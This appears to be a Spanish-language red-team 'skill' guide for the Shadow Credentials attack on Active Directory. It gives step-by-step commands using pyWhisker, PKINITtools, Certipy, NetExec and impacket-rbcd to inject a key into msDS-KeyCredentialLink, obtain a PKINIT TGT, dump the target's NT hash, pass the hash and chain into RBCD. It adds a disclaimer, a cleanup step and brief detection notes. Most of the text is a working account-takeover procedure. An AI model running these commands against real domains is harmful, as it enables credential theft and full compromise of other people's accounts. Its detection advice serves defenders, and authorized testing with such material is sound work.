¿Qué hace Abuso de Shadow Credentials para Escalada de Privilegios?
Aviso legal: Esta habilidad es solo para pruebas de seguridad autorizadas y fines educativos. Shadow Credentials otorgan la toma de control total de la cuenta objetivo. Úsela solo contra sistemas de su propiedad o para los que tenga autorización explícita por escrito. El acceso no autorizado es un delito.
Resumen
La técnica Shadow Credentials abusa del atributo msDS-KeyCredentialLink de objetos de usuario y equipo en Active Directory. Este atributo almacena claves públicas sin procesar ("Key Credentials") utilizadas por Windows Hello for Business y el registro de dispositivos de Azure AD para inicio de sesión basado en certificados sin contraseña mediante PKINIT (Criptografía de Clave Pública para Autenticación Inicial en Kerberos). Si un atacante tiene permiso de escritura sobre el msDS-KeyCredentialLink del objetivo (generalmente otorgado por los ACEs GenericWrite, GenericAll, WriteProperty o AddKeyCredentialLink que aparecen en BloodHound), puede añadir su propia clave pública generada por el atacante. Luego solicitan un TGT para el objetivo a través de PKINIT usando la clave privada correspondiente y recuperan el hash NT del objetivo, logrando una toma de control completa sin restablecer la contraseña, lo que es mucho más sigiloso que un restablecimiento forzado de contraseña.
La técnica fue publicada por Elad Shamir ("Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover") e implementada en la herramienta C# Whisker. El equivalente en Python pyWhisker (ShutdownRepo) manipula el atributo mediante LDAP, y Certipy integra toda la cadena mediante certipy shadow auto. El entorno objetivo debe ser compatible con PKINIT y tener al menos un Controlador de Dominio con Windows Server 2016 o posterior. Fuentes: pyWhisker, Whisker, The Hacker Recipes — Shadow Credentials.
Cuándo Usarlo
- Cuando BloodHound revela
GenericWrite/GenericAll/AddKeyCredentialLinksobre un usuario o equipo de alto valor - Como alternativa sigilosa a
ForceChangePassword(sin restablecimiento de contraseña = menos interrupción/alertas) - Para tomar el control de una cuenta de equipo y encadenar hacia Delegación Restringida Basada en Recursos (RBCD)
- Durante operaciones de equipo rojo que necesitan tomar el control de cuentas sin bloquear al usuario legítimo
- Para ejercicios de equipo púrpura generando telemetría de modificación de
msDS-KeyCredentialLink
Prerrequisitos
- Alcance del compromiso autorizado que incluya técnicas de acceso a credenciales de AD
- Control de una entidad con acceso de escritura al
msDS-KeyCredentialLinkdel objetivo - Un DC con Windows Server 2016+ con PKINIT habilitado (nivel funcional de dominio que soporte Key Trust)
- Acceso de red a LDAP (389/636) y Kerberos (88) en un DC
- Host de ataque Linux con Python 3.8+; instalar las herramientas:
# pyWhisker (desde el código fuente) git clone https://github.com/ShutdownRepo/pywhisker cd pywhisker && pip install . # Certipy (ataque shadow integrado) pipx install certipy-ad # PKINITtools para extracción manual de TGT/hash NT git clone https://github.com/dirkjanm/PKINITtools
Objetivos
- Confirmar acceso de escritura sobre el
msDS-KeyCredentialLinkdel objetivo - Generar un par de claves y añadir una Key Credential al objeto objetivo
- Solicitar un TGT para el objetivo mediante PKINIT usando la nueva clave
- Recuperar el hash NT del objetivo para pass-the-hash / movimiento posterior
- Limpiar la Key Credential inyectada para restaurar el estado del objeto
- Documentar la ruta ACL que permitió el ataque para su remediación
Mapeo MITRE ATT&CK
| ID | Técnica | Aplicación en esta habilidad |
|---|---|---|
| T1098.005 | Manipulación de Cuentas: Registro de Dispositivos | Escribir una Key Credential controlada por el atacante (clave de dispositivo) en msDS-KeyCredentialLink para registrar una credencial de autenticación alternativa para la cuenta objetivo |
Flujo de Trabajo
Paso 1: Confirmar el primitivo de escritura
Listar las Key Credentials existentes en el objetivo para verificar que tenga el acceso requerido. Un resultado vacío o legible confirma acceso de escritura para el paso add.
python3 pywhisker.py -d "corp.local" -u "atacante" -p "Passw0rd!" \
--target "victima" --action "list"
Paso 2: Añadir una Shadow Credential con pyWhisker
Generar un par certificado/clave y escribirlo en el msDS-KeyCredentialLink del objetivo. pyWhisker genera un PFX que usted controla.
python3 pywhisker.py -d "corp.local" -u "atacante" -p "Passw0rd!" \
--target "victima" --action "add" --filename victima_shadow
# Produce victima_shadow.pfx e imprime la contraseña del PFX
Use autenticación Kerberos en lugar de contraseña si solo tiene un ticket:
python3 pywhisker.py -d "corp.local" -u "atacante" -k --no-pass \
--target "victima" --action "add" --filename victima_shadow --use-ldaps
Paso 3: Solicitar un TGT mediante PKINIT
Use el PFX generado con PKINITtools para obtener un TGT de Kerberos para el objetivo.
python3 PKINITtools/gettgtpkinit.py \
-cert-pfx victima_shadow.pfx -pfx-pass <CONTRASEÑA_PFX> \
corp.local/victima victima.ccache
Paso 4: Recuperar el hash NT
Extraiga el hash NT del objetivo del AS-REP usando la clave de sesión del Paso 3 (getnthash.py lee la clave de cifrado del AS-REP, mostrada por gettgtpkinit.py).
export KRB5CCNAME=victima.ccache
python3 PKINITtools/getnthash.py -key <CLAVE-AS-REP-DEL-PASO-3> corp.local/victima
# Imprime el hash NT para 'victima'
Paso 5: Alternativa en un solo paso con Certipy
certipy shadow auto realiza add → PKINIT → volcar hash → limpieza automáticamente, ideal para toma de control de cuentas de equipo.
certipy shadow auto -u '[email protected]' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -account 'victima'
# Para una cuenta de equipo, use el sAMAccountName con $ al final
certipy shadow auto -u '[email protected]' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -account 'WS01$'
Paso 6: Usar la credencial recuperada
Autentíquese con el hash NT (o el TGT) para continuar con el compromiso.
# Pass-the-hash con NetExec
nxc smb 10.0.0.10 -u victima -H <HASH-NT-RECUPERADO>
# O use el TGT directamente
export KRB5CCNAME=victima.ccache
nxc smb dc.corp.local -u victima --use-kcache
Paso 7: Encadenar toma de control de equipo en RBCD (opcional)
Cuando el objetivo es un equipo, la clave/hash recuperado le permite configurar Delegación Restringida Basada en Recursos para hacerse pasar por cualquier usuario a ese host.
# Configurar RBCD para que el SPN controlado por el atacante pueda suplantar a WS01$
impacket-rbcd -delegate-from 'atacante$' -delegate-to 'WS01$' \
-action write 'corp.local/atacante:Passw0rd!'
Paso 8: Limpiar
Elimine la Key Credential inyectada para restaurar el objeto y reducir la huella de detección.
# pyWhisker: eliminar por device-id (impreso durante add) o limpiar todo lo que haya añadido
python3 pywhisker.py -d "corp.local" -u "atacante" -p "Passw0rd!" \
--target "victima" --action "remove" --device-id <ID-DISPOSITIVO>
# Certipy shadow auto limpia automáticamente; de lo contrario:
certipy shadow clear -u '[email protected]' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -account 'victima'
Herramientas y Recursos
| Recurso | Propósito | Enlace |
|---|---|---|
| pyWhisker | Manipulación LDAP en Python de msDS-KeyCredentialLink | https://github.com/ShutdownRepo/pywhisker |
| Whisker | Implementación original en C# | https://github.com/eladshamir/Whisker |
| Certipy | shadow auto toma de control integral | https://github.com/ly4k/Certipy |
| PKINITtools | gettgtpkinit / getnthash | https://github.com/dirkjanm/PKINITtools |
| The Hacker Recipes | Explicación de la técnica y defensas | https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials |
Notas de Detección y Remedio
| Área | Orientación |
|---|---|
| Detección | Monitoree el Evento de Seguridad de Windows ID 5136 (modificación de objeto de directorio) para cambios en msDS-KeyCredentialLink; alerte cuando una entidad que no sea AD-Connect/Intune escriba el atributo. |
| Auditoría | Habilite la auditoría de cambios de objetos de servicio de directorio en UOs de usuario/equipo. |
| Mínimo privilegio | Elimine los ACEs innecesarios GenericWrite/GenericAll/AddKeyCredentialLink (el borde AddKeyCredentialLink de BloodHound). |
| Mitigación | Donde Windows Hello/registro de dispositivos no se utilice, restrinja quién puede escribir Key Credentials y considere cuentas protegidas de nivel 0. |
Criterios de Validación
- Acceso de escritura sobre el
msDS-KeyCredentialLinkdel objetivo confirmado (listexitoso) - Key Credential añadida exitosamente (PFX generado)
- TGT de PKINIT obtenido para la cuenta objetivo
- Hash NT del objetivo recuperado y validado contra un servicio
- (Si es equipo) Cadena RBCD o movimiento posterior demostrado
- Key Credential inyectada eliminada / objeto restaurado
- Ruta ACL habilitante documentada con recomendación de remedio